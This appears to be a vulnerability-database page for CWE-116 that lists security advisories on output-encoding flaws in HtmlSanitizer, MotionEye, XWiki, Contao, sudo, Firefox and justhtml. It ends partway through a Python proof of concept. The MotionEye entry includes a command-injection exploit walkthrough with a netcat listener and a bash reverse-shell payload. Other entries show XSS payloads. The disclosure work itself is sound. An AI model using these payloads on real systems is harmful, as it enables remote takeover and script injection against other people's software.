CWE-116
Allowed-with-ReviewImproper Encoding or Escaping of Output
Abstraction: Class · Status: Draft
The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
612 vulnerabilities reference this CWE, most recent first.
GHSA-J8F3-4CQG-MHW4
Vulnerability from github – Published: 2024-01-16 21:31 – Updated: 2024-01-16 21:31OPCUAServerToolkit will write a log message once an OPC UA client has successfully connected containing the client's self-defined description field.
{
"affected": [],
"aliases": [
"CVE-2023-7234"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-117"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-16T19:15:08Z",
"severity": "MODERATE"
},
"details": "\nOPCUAServerToolkit will write a log message once an OPC UA client has successfully connected containing the client\u0027s self-defined description field.\n\n",
"id": "GHSA-j8f3-4cqg-mhw4",
"modified": "2024-01-16T21:31:22Z",
"published": "2024-01-16T21:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7234"
},
{
"type": "WEB",
"url": "https://integrationobjects.com//ask-a-question"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-016-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J92C-7V7G-GJ3F
Vulnerability from github – Published: 2026-02-03 19:22 – Updated: 2026-02-05 00:36Impact
If the template tag is allowed, its contents are not sanitized. The template tag is a special tag that does not usually render its contents, unless the shadowrootmode attribute is set to open or closed.
The lack of sanitization of the template tag brings up two bypasses:
- it is still possible to forcibly render the contents of a
<template>tag through mutation XSS. The DOM parsers in browsers such as Chromium have a node depth limit of 512 and tags which are beyond that depth are flattened. This in turn allows elements within<template>(which are not sanitized) to be effectively 'popped out'. An example would look like this:<div>[...]<template><script>alert('xss')</script>where[...]denotes at least another 509 opening<div>tags. - If in addition to the template tag, the
shadowrootmodeattribute is allowed throughsanitizer.AllowedAttributes.Add("shadowrootmode");, the simple payload of<div><template shadowrootmode="open"><script>alert('xss')</script>would bypass the sanitizer. This is because such usage of<template>attaches a shadow root to its parent:<div>, and its contents will be rendered.
Note that the default configuration is not affected because the template tag is disallowed by default.
Patches
The problem has been patched in versions 9.0.892 and 9.1.893-beta.
Workarounds
Disallow the template tag. It is disallowed by default.
Resources
https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/template
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "HtmlSanitizer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.892"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "HtmlSanitizer"
},
"ranges": [
{
"events": [
{
"introduced": "9.1.878-beta"
},
{
"fixed": "9.1.893-beta"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25543"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-03T19:22:06Z",
"nvd_published_at": "2026-02-04T22:16:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nIf the `template` tag is allowed, its contents are not sanitized. The `template` tag is a special tag that does not usually render its contents, unless the `shadowrootmode` attribute is set to `open` or `closed`. \n\nThe lack of sanitization of the template tag brings up two bypasses:\n\n1. it is still possible to forcibly render the contents of a `\u003ctemplate\u003e` tag through mutation XSS. The DOM parsers in browsers such as Chromium have a node depth limit of 512 and tags which are beyond that depth are flattened. This in turn allows elements within `\u003ctemplate\u003e` (which are not sanitized) to be effectively \u0027popped out\u0027. An example would look like this: `\u003cdiv\u003e[...]\u003ctemplate\u003e\u003cscript\u003ealert(\u0027xss\u0027)\u003c/script\u003e` where `[...]` denotes at least another 509 opening `\u003cdiv\u003e` tags.\n2. If in addition to the template tag, the `shadowrootmode` attribute is allowed through `sanitizer.AllowedAttributes.Add(\"shadowrootmode\");`, the simple payload of `\u003cdiv\u003e\u003ctemplate shadowrootmode=\"open\"\u003e\u003cscript\u003ealert(\u0027xss\u0027)\u003c/script\u003e` would bypass the sanitizer. This is because such usage of `\u003ctemplate\u003e` attaches a shadow root to its parent: `\u003cdiv\u003e`, and its contents will be rendered. \n\nNote that the default configuration is not affected because the `template` tag is disallowed by default.\n\n### Patches\n\nThe problem has been patched in versions [9.0.892](https://www.nuget.org/packages/HtmlSanitizer/9.0.892) and [9.1.893-beta](https://www.nuget.org/packages/HtmlSanitizer/9.1.893-beta).\n\n### Workarounds\n\nDisallow the `template` tag. It is disallowed by default.\n\n### Resources\n\nhttps://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/template",
"id": "GHSA-j92c-7v7g-gj3f",
"modified": "2026-02-05T00:36:50Z",
"published": "2026-02-03T19:22:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mganss/HtmlSanitizer/security/advisories/GHSA-j92c-7v7g-gj3f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25543"
},
{
"type": "WEB",
"url": "https://github.com/mganss/HtmlSanitizer/commit/0ac53dca30ddad963f2b243669a5066933d82b81"
},
{
"type": "WEB",
"url": "https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/template"
},
{
"type": "PACKAGE",
"url": "https://github.com/mganss/HtmlSanitizer"
},
{
"type": "WEB",
"url": "https://github.com/mganss/HtmlSanitizer/releases/tag/v9.0.892"
},
{
"type": "WEB",
"url": "https://www.nuget.org/packages/HtmlSanitizer/9.0.892"
},
{
"type": "WEB",
"url": "https://www.nuget.org/packages/HtmlSanitizer/9.1.893-beta"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "HtmlSanitizer has a bypass via template tag"
}
GHSA-J945-QM58-4GJX
Vulnerability from github – Published: 2025-11-03 21:48 – Updated: 2025-11-03 21:48Summary
A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).
Details
Root Cause:
MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.
Vulnerability flow:
Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload
Affected code:
The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.
Proof of Concept (PoC)
The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.
Environment Setup
-
Start MotionEye container
Launch the vulnerable container:
bash docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge -
Verify version
Confirm the running version inside logs:
bash docker logs motioneye | grep "motionEye server"
Result:
motionEye server 0.43.1b4 -
Container shell access (for verification later)
Keep a shell handy to verify results:
bash docker exec -it motioneye /bin/bash ls -la /tmp
Exploitation Steps
- Access Web Interface
- Open browser at:
http://127.0.0.1:9999 - Login with default credentials: admin / (blank password)
-
Add a sample RTSP network camera (required to enable camera-specific settings).
-
Attempt malicious filename input
- Go to: Camera Settings → Still Images
- In the Image File Name field, try:
bash $(touch /tmp/test).%Y-%m-%d-%H-%M-%S -
Observation: This is blocked by client-side validation in the browser.
-
Client-Side Validation Discovery
- The check is implemented in JavaScript:
/static/js/main.js?v=0.43.1b4→ references/static/js/ui.js?v=0.43.1b4
-
Example validation function:
javascript function configUiValid() { $('div.settings').find('.validator').each(function () { this.validate(); }); var valid = true; $('div.settings input, select').each(function () { if (this.invalid) { valid = false; return false; } }); return valid; } -
Bypass Validation
- Open browser console (F12 → Console tab)
- Override the function to always return true:
javascript configUiValid = function() { return true; }; -
This bypasses client-side validation and allows arbitrary values.
-
Inject Payload
- Set Capture Mode:
Interval Snapshots - Set Interval:
10 - Set Image File Name to the payload:
bash $(touch /tmp/test).%Y-%m-%d-%H-%M-%S -
Click Apply to save settings.
-
Verify Execution
- Inside the container shell:
bash ls -la /tmp - Result: File
/tmp/testis created with root permissions, confirming code execution.
Weaponizing RCE (Reverse Shell Example)
-
Start attacker listener
bash nc -lvnp 4444 -
Inject reverse shell payload
Enter the following into the Image File Name field:
bash $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S -
Result
- A reverse shell connects back to the attacker’s machine.
- Attacker gains full control of the MotionEye container environment.
Root Cause
- MotionEye writes unsanitized values (e.g.,
image_file_name) from the Web UI directly intocamera-<id>.conf. - On restart, the
motionbinary parses these fields as shell-expandable strings, leading to arbitrary command execution.
Impact
Type: OS Command Injection → Remote Code Execution
Who is impacted:
- Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).
- Containerized and bare-metal installs alike.
Potential consequences:
- Full compromise of MotionEye container.
- Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "motioneye"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.43.1b5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-60787"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-03T21:48:19Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nA command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).\n\n## Details\n### Root Cause:\nMotionEye accepts arbitrary strings from fields such as **image_file_name** and **movie_filename** in the Web UI. These are written directly into **/etc/motioneye/camera-*.conf**. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.\n\n### Vulnerability flow:\nDashboard (Web UI)\n \u2193\nConfigHandler.set_config()\n \u2193\ncamera-*.conf written\n \u2193\nmotionctl.restart()\n \u2193\nMotion parses config \u2192 executes payload\n\n\n### Affected code:\nThe issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.\n\n\n### Proof of Concept (PoC)\n\nThe following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye. \nTested using the official Docker image.\n\n---\n\n#### Environment Setup\n1. **Start MotionEye container** \n Launch the vulnerable container: \n ```bash\n docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge\n ```\n\n2. **Verify version** \n Confirm the running version inside logs: \n ```bash\n docker logs motioneye | grep \"motionEye server\"\n ``` \n **Result:** \n ```\n motionEye server 0.43.1b4\n ```\n \u003cimg width=\"741\" height=\"168\" alt=\"version_ver\" src=\"https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320\" /\u003e\n\n3. **Container shell access (for verification later)** \n Keep a shell handy to verify results: \n ```bash\n docker exec -it motioneye /bin/bash\n ls -la /tmp\n ```\n\n---\n\n#### Exploitation Steps\n4. **Access Web Interface** \n - Open browser at: `http://127.0.0.1:9999` \n - Login with default credentials: **admin** / *(blank password)* \n - Add a sample RTSP network camera (required to enable camera-specific settings).\n \n \u003cimg width=\"1623\" height=\"869\" alt=\"add_camera\" src=\"https://github.com/user-attachments/assets/d506a891-8b80-4b69-84f2-b195fcaca0cc\" /\u003e\n\n5. **Attempt malicious filename input** \n - Go to: **Camera Settings \u2192 Still Images** \n - In the **Image File Name** field, try: \n ```bash\n $(touch /tmp/test).%Y-%m-%d-%H-%M-%S\n ``` \n - **Observation:** This is blocked by client-side validation in the browser.\n \n \u003cimg width=\"739\" height=\"104\" alt=\"er1\" src=\"https://github.com/user-attachments/assets/817549fc-5cb2-4959-b29d-5cec745e096b\" /\u003e\n \n \u003cimg width=\"611\" height=\"90\" alt=\"er2\" src=\"https://github.com/user-attachments/assets/a68eec73-bade-4cc5-b65b-4fc2dfbc7f01\" /\u003e\n\n6. **Client-Side Validation Discovery** \n - The check is implemented in JavaScript: \n - `/static/js/main.js?v=0.43.1b4` \u2192 references `/static/js/ui.js?v=0.43.1b4` \n - Example validation function: \n ```javascript\n function configUiValid() {\n $(\u0027div.settings\u0027).find(\u0027.validator\u0027).each(function () { this.validate(); });\n var valid = true;\n $(\u0027div.settings input, select\u0027).each(function () {\n if (this.invalid) { valid = false; return false; }\n });\n return valid;\n }\n ```\n\n7. **Bypass Validation** \n - Open browser console (**F12 \u2192 Console tab**) \n - Override the function to always return true: \n ```javascript\n configUiValid = function() { return true; };\n ``` \n - This bypasses client-side validation and allows arbitrary values.\n \u003cimg width=\"819\" height=\"539\" alt=\"bypass\" src=\"https://github.com/user-attachments/assets/c18d50cf-1f41-4f31-a23b-23ade9babaa2\" /\u003e\n\n8. **Inject Payload** \n - Set **Capture Mode**: `Interval Snapshots` \n - Set **Interval**: `10` \n - Set **Image File Name** to the payload: \n ```bash\n $(touch /tmp/test).%Y-%m-%d-%H-%M-%S\n ``` \n - Click **Apply** to save settings.\n \u003cimg width=\"565\" height=\"344\" alt=\"inject_payload\" src=\"https://github.com/user-attachments/assets/f23e76b2-6af3-490d-bce3-60ac3f96241e\" /\u003e\n\n9. **Verify Execution** \n - Inside the container shell: \n ```bash\n ls -la /tmp\n ``` \n - **Result:** File `/tmp/test` is created with root permissions, confirming code execution.\n \u003cimg width=\"554\" height=\"164\" alt=\"verify\" src=\"https://github.com/user-attachments/assets/11122ba8-becf-4657-bc87-f88f293e8b02\" /\u003e\n\n---\n\n#### Weaponizing RCE (Reverse Shell Example)\n10. **Start attacker listener** \n ```bash\n nc -lvnp 4444\n ```\n\n11. **Inject reverse shell payload** \n Enter the following into the **Image File Name** field: \n ```bash\n $(python3 -c \"import os;os.system(\u0027bash -c \\\"bash -i \u003e\u0026 /dev/tcp/192.168.0.108/4444 0\u003e\u00261\\\"\u0027)\").%Y-%m-%d-%H-%M-%S\n ```\n\n12. **Result** \n - A reverse shell connects back to the attacker\u2019s machine. \n - Attacker gains full control of the MotionEye container environment.\n \u003cimg width=\"1140\" height=\"366\" alt=\"final\" src=\"https://github.com/user-attachments/assets/2a8f650f-68f3-43b2-8594-08d5035c16b9\" /\u003e\n\n---\n\n#### Root Cause\n- MotionEye writes unsanitized values (e.g., `image_file_name`) from the Web UI directly into `camera-\u003cid\u003e.conf`. \n- On restart, the `motion` binary parses these fields as shell-expandable strings, leading to arbitrary command execution. \n\n## Impact\nType: OS Command Injection \u2192 Remote Code Execution\n\nWho is impacted:\n\n1. Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).\n2. Containerized and bare-metal installs alike.\n\nPotential consequences:\n\n1. Full compromise of MotionEye container.\n2. Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.",
"id": "GHSA-j945-qm58-4gjx",
"modified": "2025-11-03T21:48:19Z",
"published": "2025-11-03T21:48:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-j945-qm58-4gjx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60787"
},
{
"type": "PACKAGE",
"url": "https://github.com/motioneye-project/motioneye"
},
{
"type": "WEB",
"url": "https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "motionEye vulnerable to RCE via unsanitized motion config parameter"
}
GHSA-J9H5-VCGV-2JFM
Vulnerability from github – Published: 2023-05-09 17:46 – Updated: 2023-05-09 18:44Impact
It's possible to execute javascript with the right of any user by leading him to a special URL on the wiki targeting a page which contains an attachment.
To reproduce:
* add an attachment to a page (for example, your user profile)
* add ?xpage=importinline&editor=%22%3E%3Cimg%20src%20onerror=alert(document.domain)%3E to the page view URL as in https://myhost/xwiki/bin/view/XWiki/MyUser?xpage=importinline&editor=%22%3E%3Cimg%20src%20onerror=alert(document.domain)%3E
Patches
This has been patched in XWiki 15.0-rc-1, 14.10.4 and 14.4.8.
Workarounds
The easiest is to edit file <xwiki app>/templates/importinline.vm and apply the modification described on https://github.com/xwiki/xwiki-platform/commit/28905f7f518cc6f21ea61fe37e9e1ed97ef36f01
References
https://jira.xwiki.org/browse/XWIKI-20340 https://app.intigriti.com/company/submissions/e95a7ad5-7029-4627-abf0-3e3e3ea0b4ce/XWIKI-E93DFEYK
Attribution
This vulnerability has been reported on Intigriti by René de Sain @renniepak.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-distribution-war"
},
"ranges": [
{
"events": [
{
"introduced": "2.2-milestone-1"
},
{
"fixed": "14.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-distribution-war"
},
"ranges": [
{
"events": [
{
"introduced": "14.5"
},
{
"fixed": "14.10.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-32071"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2023-05-09T17:46:22Z",
"nvd_published_at": "2023-05-09T16:15:15Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nIt\u0027s possible to execute javascript with the right of any user by leading him to a special URL on the wiki targeting a page which contains an attachment.\n\nTo reproduce:\n* add an attachment to a page (for example, your user profile)\n* add `?xpage=importinline\u0026editor=%22%3E%3Cimg%20src%20onerror=alert(document.domain)%3E` to the page view URL as in `https://myhost/xwiki/bin/view/XWiki/MyUser?xpage=importinline\u0026editor=%22%3E%3Cimg%20src%20onerror=alert(document.domain)%3E`\n\n### Patches\n\nThis has been patched in XWiki 15.0-rc-1, 14.10.4 and 14.4.8.\n\n### Workarounds\n\nThe easiest is to edit file `\u003cxwiki app\u003e/templates/importinline.vm` and apply the modification described on https://github.com/xwiki/xwiki-platform/commit/28905f7f518cc6f21ea61fe37e9e1ed97ef36f01\n\n### References\n\nhttps://jira.xwiki.org/browse/XWIKI-20340\nhttps://app.intigriti.com/company/submissions/e95a7ad5-7029-4627-abf0-3e3e3ea0b4ce/XWIKI-E93DFEYK\n\n### Attribution\n\nThis vulnerability has been reported on Intigriti by Ren\u00e9 de Sain @renniepak.",
"id": "GHSA-j9h5-vcgv-2jfm",
"modified": "2023-05-09T18:44:13Z",
"published": "2023-05-09T17:46:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-j9h5-vcgv-2jfm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32071"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/28905f7f518cc6f21ea61fe37e9e1ed97ef36f01"
},
{
"type": "WEB",
"url": "https://app.intigriti.com/company/submissions/e95a7ad5-7029-4627-abf0-3e3e3ea0b4ce/XWIKI-E93DFEYK"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-20340"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "XWiki Platform vulnerable to RXSS via editor parameter - importinline template"
}
GHSA-JC43-QRRP-98F5
Vulnerability from github – Published: 2019-12-17 22:53 – Updated: 2024-04-22 18:41Impact
It is possible to inject insert tags into the login module which will be replaced when the page is rendered.
Patches
Update to Contao 4.8.6.
Workarounds
None.
References
https://contao.org/en/security-advisories/insert-tag-injection-in-the-login-module
For more information
If you have any questions or comments about this advisory, open an issue in contao/contao.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "contao/core-bundle"
},
"ranges": [
{
"events": [
{
"introduced": "4.8.4"
},
{
"fixed": "4.8.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "contao/contao"
},
"ranges": [
{
"events": [
{
"introduced": "4.8.4"
},
{
"fixed": "4.8.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-19714"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2019-12-17T19:35:29Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nIt is possible to inject insert tags into the login module which will be replaced when the page is rendered.\n\n### Patches\n\nUpdate to Contao 4.8.6.\n\n### Workarounds\n\nNone.\n\n### References\n\nhttps://contao.org/en/security-advisories/insert-tag-injection-in-the-login-module\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).\n",
"id": "GHSA-jc43-qrrp-98f5",
"modified": "2024-04-22T18:41:09Z",
"published": "2019-12-17T22:53:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/contao/contao/security/advisories/GHSA-jc43-qrrp-98f5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19714"
},
{
"type": "WEB",
"url": "https://contao.org/en/security-advisories/insert-tag-injection-in-the-login-module.html"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/contao/contao/CVE-2019-19714.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/contao/core-bundle/CVE-2019-19714.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/contao/contao"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Insert tag injection in the Contao login module"
}
GHSA-JC55-2GXV-H2FP
Vulnerability from github – Published: 2023-03-16 03:30 – Updated: 2023-03-22 15:30Sudo before 1.9.13 does not escape control characters in sudoreplay output.
{
"affected": [],
"aliases": [
"CVE-2023-28487"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-16T01:15:00Z",
"severity": "MODERATE"
},
"details": "Sudo before 1.9.13 does not escape control characters in sudoreplay output.",
"id": "GHSA-jc55-2gxv-h2fp",
"modified": "2023-03-22T15:30:21Z",
"published": "2023-03-16T03:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28487"
},
{
"type": "WEB",
"url": "https://github.com/sudo-project/sudo/commit/334daf92b31b79ce68ed75e2ee14fca265f029ca"
},
{
"type": "WEB",
"url": "https://github.com/sudo-project/sudo/releases/tag/SUDO_1_9_13"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/02/msg00002.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202309-12"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230420-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JC7V-R8H6-XR5C
Vulnerability from github – Published: 2025-05-27 15:31 – Updated: 2025-06-11 12:30Previewing a response in Devtools ignored CSP headers, which could have allowed content injection attacks. This vulnerability affects Firefox < 139.
{
"affected": [],
"aliases": [
"CVE-2025-5271"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-27T13:15:22Z",
"severity": "MODERATE"
},
"details": "Previewing a response in Devtools ignored CSP headers, which could have allowed content injection attacks. This vulnerability affects Firefox \u003c 139.",
"id": "GHSA-jc7v-r8h6-xr5c",
"modified": "2025-06-11T12:30:36Z",
"published": "2025-05-27T15:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5271"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1920348"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-42"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-45"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JF6W-2MVX-633J
Vulnerability from github – Published: 2026-06-25 17:35 – Updated: 2026-06-25 17:35justhtml: to_markdown() code-span blank-line breakout enables XSS
Summary
In justhtml 0.9.0 through 1.21.0, to_markdown() renders <code> text (and <pre> text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (\n\n) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted unescaped after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely CWE-79 (Cross-site Scripting) arising from CWE-116 (Improper Encoding/Escaping of Output).
Details
to_markdown() is documented as a safety surface. docs/text.md states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and SECURITY.md promises to_markdown() "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely."
The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:
src/justhtml/node.py:32-41 (tag v1.21.0):
def _markdown_code_span(s: str | None) -> str:
if s is None:
s = ""
# Use a backtick fence longer than any run of backticks inside.
fence = _markdown_backtick_fence(s, minimum=1)
# CommonMark requires a space if the content starts/ends with backticks.
needs_space = s.startswith("`") or s.endswith("`")
if needs_space:
return f"{fence} {s} {fence}"
return f"{fence}{s}{fence}"
The element's text is taken verbatim (strip=False, so embedded newlines are preserved) and routed into that helper:
src/justhtml/node.py:1061-1078 (tag v1.21.0):
if tag == "pre":
code = current.to_text(separator="", strip=False)
if current_in_link:
current_builder.raw(_markdown_code_span(code)) # inline path
else:
fence = _markdown_backtick_fence(code, minimum=3) # block path
...
if tag == "code" and not current_preserve:
current_builder.raw(_markdown_code_span(current.to_text(separator="", strip=False)))
A Markdown inline code span is an inline construct and cannot span a block boundary: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as <img src=x onerror=...> becomes a live element.
Reachability with default settings: JustHTML(html) sanitizes by default; <code> and <pre> are in DEFAULT_POLICY.allowed_tags; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in text, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so <img …> enters the DOM as literal <img …> text while passing HTML sanitization.
Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior:
- Plain text-node content is HTML-escaped before Markdown escaping, so the same
<img …>outside a code span is neutralized to<img …>. Inside a code span it is not escaped — the fence is assumed sufficient. <pre>outside a link uses a block fence (minimum=3, line 1066), which a blank line cannot break. The same<pre>inside a link (line 1064) and all<code>use the inline span, which a blank line breaks.
PoC
Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is parsed to show a live handler-bearing element materializes; no JavaScript is executed on the default path.
Dockerfile:
FROM python:3.11-slim
WORKDIR /poc
RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \
&& (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped")
COPY poc.py test.sh /poc/
CMD ["sh", "/poc/test.sh"]
poc.py:
#!/usr/bin/env python3
"""PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS.
Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML;
no JS executed). --prove-exec is an opt-in, container-only execution check."""
from __future__ import annotations
import argparse
from html.parser import HTMLParser
from justhtml import JustHTML
from markdown_it import MarkdownIt
MARKER = "__POC_XSS_MARKER__"
PAYLOAD_TEXT = f"<img src=x onerror={MARKER}()>"
RENDER = MarkdownIt("commonmark") # raw-HTML passthrough is the CommonMark default
def build_inputs() -> tuple[str, str]:
enc = PAYLOAD_TEXT.replace("<", "<").replace(">", ">")
control = f"<code>q{enc}</code>" # no blank line -> should stay inert
exploit = f"<code>q\n\n{enc}</code>" # + one blank line -> the whole exploit
return control, exploit
def to_markdown(html: str) -> str:
return JustHTML(html, fragment=True).to_markdown() # public API, default sanitize=True
class _SinkFinder(HTMLParser):
def __init__(self) -> None:
super().__init__(); self.sinks: list[tuple[str, str, str]] = []
def handle_starttag(self, tag, attrs):
for name, val in attrs:
if name.startswith("on") and val and MARKER in val:
self.sinks.append((tag, name, val))
def live_sinks(html: str):
f = _SinkFinder(); f.feed(html); return f.sinks
def show(label: str, html: str):
md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)
print(f"== {label} ==")
